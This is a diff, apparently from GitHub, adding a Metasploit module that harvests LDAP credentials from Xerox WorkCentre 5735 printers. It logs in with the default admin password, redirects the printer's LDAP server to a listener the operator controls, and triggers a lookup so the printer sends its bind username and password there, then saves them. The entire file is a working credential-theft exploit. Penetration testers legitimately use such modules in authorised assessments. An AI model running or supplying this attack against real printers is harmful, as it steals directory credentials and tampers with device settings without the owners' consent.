|
| 1 | +# |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/proto/http' |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::Remote::TcpServer |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor', |
| 17 | + 'Description' => %{ |
| 18 | + This module extract the printers LDAP user and password from Xerox workcentre 5735. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'Deral "Percentx" Heiland', |
| 23 | + 'Pete "Bokojan" Arzamendi' |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE |
| 26 | + )) |
| 27 | + |
| 28 | + register_options( |
| 29 | + [ |
| 30 | + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]), |
| 31 | + OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']), |
| 32 | + OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]), |
| 33 | + OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]), |
| 34 | + OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]), |
| 35 | + OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.']) |
| 36 | + ], self.class) |
| 37 | + end |
| 38 | + |
| 39 | + def run |
| 40 | + print_status("#{peer} - Attempting to extract LDAP username and password...") |
| 41 | + |
| 42 | + @auth_cookie = default_page |
| 43 | + if @auth_cookie.blank? |
| 44 | + print_status("#{peer} - Unable to get authentication cookie from #{rhost}") |
| 45 | + return |
| 46 | + end |
| 47 | + |
| 48 | + status = login |
| 49 | + return unless status |
| 50 | + |
| 51 | + status = ldap_server_info |
| 52 | + return unless status |
| 53 | + |
| 54 | + status = update_ldap_server |
| 55 | + return unless status |
| 56 | + |
| 57 | + start_listener |
| 58 | + unless @data |
| 59 | + print_error("#{peer} - Failed to start listiner or the printer did not send us the creds. :(") |
| 60 | + status = restore_ldap_server |
| 61 | + unless status |
| 62 | + print_error("#{peer} - Failed to restore old LDAP server. Please manually restore") |
| 63 | + end |
| 64 | + return |
| 65 | + end |
| 66 | + |
| 67 | + status = restore_ldap_server |
| 68 | + return unless status |
| 69 | + |
| 70 | + ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten |
| 71 | + ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}" |
| 72 | + |
| 73 | + # Woot we got creds so lets save them.# |
| 74 | + print_good("#{peer} - The following creds were capured: #{ldap_creds}") |
| 75 | + loot_name = 'ldap.cp.creds' |
| 76 | + loot_type = 'text/plain' |
| 77 | + loot_filename = 'ldap-creds.text' |
| 78 | + loot_desc = 'LDAP Pass-back Harvester' |
| 79 | + p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc) |
| 80 | + print_status("#{peer} - Credentials saved in: #{p}") |
| 81 | + |
| 82 | + register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1]) |
| 83 | + end |
| 84 | + |
| 85 | + def default_page |
| 86 | + page = '/header.php?tab=status' |
| 87 | + method = 'GET' |
| 88 | + res = make_request(page, method, '') |
| 89 | + if res.blank? || res.code != 200 |
| 90 | + print_error("#{peer} - Failed to connect to #{rhost}. Please check the printers IP address.") |
| 91 | + return '' |
| 92 | + end |
| 93 | + res.get_cookies |
| 94 | + end |
| 95 | + |
| 96 | + def login |
| 97 | + login_page = '/userpost/xerox.set' |
| 98 | + login_vars = { |
| 99 | + '_fun_function' => 'HTTP_Authenticate_fn', |
| 100 | + 'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php', |
| 101 | + 'webUsername' => 'admin', |
| 102 | + 'webPassword' => datastore['PASSWORD'], |
| 103 | + 'frmaltDomain' => 'default' |
| 104 | + } |
| 105 | + login_post_data = [] |
| 106 | + login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" } |
| 107 | + login_post_data *= '&' |
| 108 | + method = 'POST' |
| 109 | + |
| 110 | + res = make_request(login_page, method, login_post_data) |
| 111 | + if res.blank? || res.code != 200 |
| 112 | + print_error("#{peer} - Failed to login. Please check the password for the Administrator account") |
| 113 | + return nil |
| 114 | + end |
| 115 | + res.code |
| 116 | + end |
| 117 | + |
| 118 | + def ldap_server_info |
| 119 | + ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig' |
| 120 | + method = 'GET' |
| 121 | + res = make_request(ldap_info_page, method, '') |
| 122 | + html_body = ::Nokogiri::HTML(res.body) |
| 123 | + ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text |
| 124 | + ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten |
| 125 | + ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text |
| 126 | + ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten |
| 127 | + @ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}" |
| 128 | + @ldap_port = ldap_port_number[0] |
| 129 | + print_status("#{peer} - LDAP server: #{@ldap_server}") |
| 130 | + unless res.code == 200 || res.blank? |
| 131 | + print_error("#{peer} - Failed to get LDAP data.") |
| 132 | + return nil |
| 133 | + end |
| 134 | + res.code |
| 135 | + end |
| 136 | + |
| 137 | + def update_ldap_server |
| 138 | + ldap_update_page = '/dummypost/xerox.set' |
| 139 | + ldap_update_vars = { |
| 140 | + '_fun_function' => 'HTTP_Set_Config_Attrib_fn', |
| 141 | + 'NextPage' => '/ldap/index.php?ldapindex=default', |
| 142 | + 'from' =>'ldapConfig', |
| 143 | + 'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}", |
| 144 | + 'ldap.maxSearchResults' => '25', |
| 145 | + 'ldap.searchTime' => '30', |
| 146 | + } |
| 147 | + ldap_update_post = [] |
| 148 | + ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" } |
| 149 | + ldap_update_post *= '&' |
| 150 | + method = 'POST' |
| 151 | + |
| 152 | + print_status("#{peer} - Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}") |
| 153 | + res = make_request(ldap_update_page, method, ldap_update_post) |
| 154 | + if res.blank? || res.code != 200 |
| 155 | + print_error("#{peer} - Failed to update LDAP server. Please check the host: #{rhost}") |
| 156 | + return nil |
| 157 | + end |
| 158 | + res.code |
| 159 | + end |
| 160 | + |
| 161 | + def trigger_ldap_request |
| 162 | + ldap_trigger_page = '/userpost/xerox.set' |
| 163 | + ldap_trigger_vars = { |
| 164 | + 'nameSchema'=>'givenName', |
| 165 | + 'emailSchema'=>'mail', |
| 166 | + 'phoneSchema'=>'telephoneNumber', |
| 167 | + 'postalSchema'=>'postalAddress', |
| 168 | + 'mailstopSchema'=>'l', |
| 169 | + 'citySchema'=>'physicalDeliveryOfficeName', |
| 170 | + 'stateSchema'=>'st', |
| 171 | + 'zipCodeSchema'=>'postalcode', |
| 172 | + 'countrySchema'=>'co', |
| 173 | + 'faxSchema'=>'facsimileTelephoneNumber', |
| 174 | + 'homeSchema'=>'homeDirectory', |
| 175 | + 'memberSchema'=>'memberOf', |
| 176 | + 'uidSchema'=>'uid', |
| 177 | + 'ldapSearchName'=>'test', |
| 178 | + 'ldapServerIndex'=>'default', |
| 179 | + '_fun_function'=>'HTTP_LDAP_Search_fn', |
| 180 | + 'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig' |
| 181 | + } |
| 182 | + ldap_trigger_post = [] |
| 183 | + ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" } |
| 184 | + ldap_trigger_post *= '&' |
| 185 | + method = 'POST' |
| 186 | + |
| 187 | + print_status("#{peer} - Triggering LDAP reqeust") |
| 188 | + res = make_request(ldap_trigger_page, method, ldap_trigger_post) |
| 189 | + res.code |
| 190 | + end |
| 191 | + |
| 192 | + def start_listener |
| 193 | + server_timeout = datastore['TCPDELAY'].to_i |
| 194 | + begin |
| 195 | + print_status('Service running. Waiting for connection') |
| 196 | + Timeout.timeout(server_timeout) do |
| 197 | + exploit |
| 198 | + end |
| 199 | + rescue Timeout::Error |
| 200 | + return |
| 201 | + end |
| 202 | + end |
| 203 | + |
| 204 | + def primer |
| 205 | + trigger_ldap_request |
| 206 | + end |
| 207 | + |
| 208 | + def on_client_connect(client) |
| 209 | + on_client_data(client) |
| 210 | + end |
| 211 | + |
| 212 | + def on_client_data(client) |
| 213 | + @data = client.get_once |
| 214 | + client.stop |
| 215 | + end |
| 216 | + |
| 217 | + def restore_ldap_server |
| 218 | + ldap_restore_page = '/dummypost/xerox.set' |
| 219 | + ldap_restore_vars = { |
| 220 | + '_fun_function' => 'HTTP_Set_Config_Attrib_fn', |
| 221 | + 'NextPage' => '/ldap/index.php?ldapaction=add', |
| 222 | + 'ldapindex' => 'default&from=ldapConfig', |
| 223 | + 'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}", |
| 224 | + 'ldap.maxSearchResults' => '25', |
| 225 | + 'ldap.searchTime' => '30', |
| 226 | + 'ldap.search.uid' => 'uid', |
| 227 | + 'ldap.search.name' => 'givenName', |
| 228 | + 'ldap.search.email' => 'mail', |
| 229 | + 'ldap.search.phone' => 'telephoneNumber', |
| 230 | + 'ldap.search.postal' => 'postalAddress', |
| 231 | + 'ldap.search.mailstop' => 'l', |
| 232 | + 'ldap.search.city' => 'physicalDeliveryOfficeName', |
| 233 | + 'ldap.search.state' => 'st', |
| 234 | + 'ldap.search.zipcode' => 'postalcode', |
| 235 | + 'ldap.search.country' => 'co', |
| 236 | + 'ldap.search.ifax' => 'No Mappings Available', |
| 237 | + 'ldap.search.faxNum' => 'facsimileTelephoneNumber', |
| 238 | + 'ldap.search.home' => 'homeDirectory', |
| 239 | + 'ldap.search.membership' => 'memberOf' |
| 240 | + } |
| 241 | + ldap_restore_post = [] |
| 242 | + ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" } |
| 243 | + ldap_restore_post *= '&' |
| 244 | + method = 'POST' |
| 245 | + |
| 246 | + print_status("#{peer} - Restoring LDAP server: #{@ldap_server}") |
| 247 | + res = make_request(ldap_restore_page, method, ldap_restore_post) |
| 248 | + if res.blank? || res.code != 200 |
| 249 | + print_error("#{peer} - Failed to restore LDAP server: #{@ldap_server}. Please fix manually") |
| 250 | + return nil |
| 251 | + end |
| 252 | + res.code |
| 253 | + end |
| 254 | + |
| 255 | + def make_request(page, method, post_data) |
| 256 | + res = nil |
| 257 | + |
| 258 | + begin |
| 259 | + res = send_request_cgi( |
| 260 | + { |
| 261 | + 'uri' => page, |
| 262 | + 'method' => method, |
| 263 | + 'cookie' => @auth_cookie, |
| 264 | + 'data' => post_data |
| 265 | + }, datastore['TIMEOUT'].to_i) |
| 266 | + |
| 267 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 268 | + print_error("#{peer} - Connection failed.") |
| 269 | + end |
| 270 | + |
| 271 | + res |
| 272 | + end |
| 273 | + |
| 274 | + def register_creds(service_name, remote_host, remote_port, username, password) |
| 275 | + credential_data = { |
| 276 | + origin_type: :service, |
| 277 | + module_fullname: self.fullname, |
| 278 | + workspace_id: myworkspace.id, |
| 279 | + private_data: password, |
| 280 | + private_type: :password, |
| 281 | + username: username |
| 282 | + } |
| 283 | + |
| 284 | + service_data = { |
| 285 | + address: remote_host, |
| 286 | + port: remote_port, |
| 287 | + service_name: service_name, |
| 288 | + protocol: 'tcp', |
| 289 | + workspace_id: myworkspace_id |
| 290 | + } |
| 291 | + |
| 292 | + credential_data.merge!(service_data) |
| 293 | + credential_core = create_credential(credential_data) |
| 294 | + |
| 295 | + login_data = { |
| 296 | + core: credential_core, |
| 297 | + status: Metasploit::Model::Login::Status::UNTRIED, |
| 298 | + workspace_id: myworkspace_id |
| 299 | + } |
| 300 | + |
| 301 | + login_data.merge!(service_data) |
| 302 | + create_credential_login(login_data) |
| 303 | + |
| 304 | + end |
| 305 | +end |
0 commit comments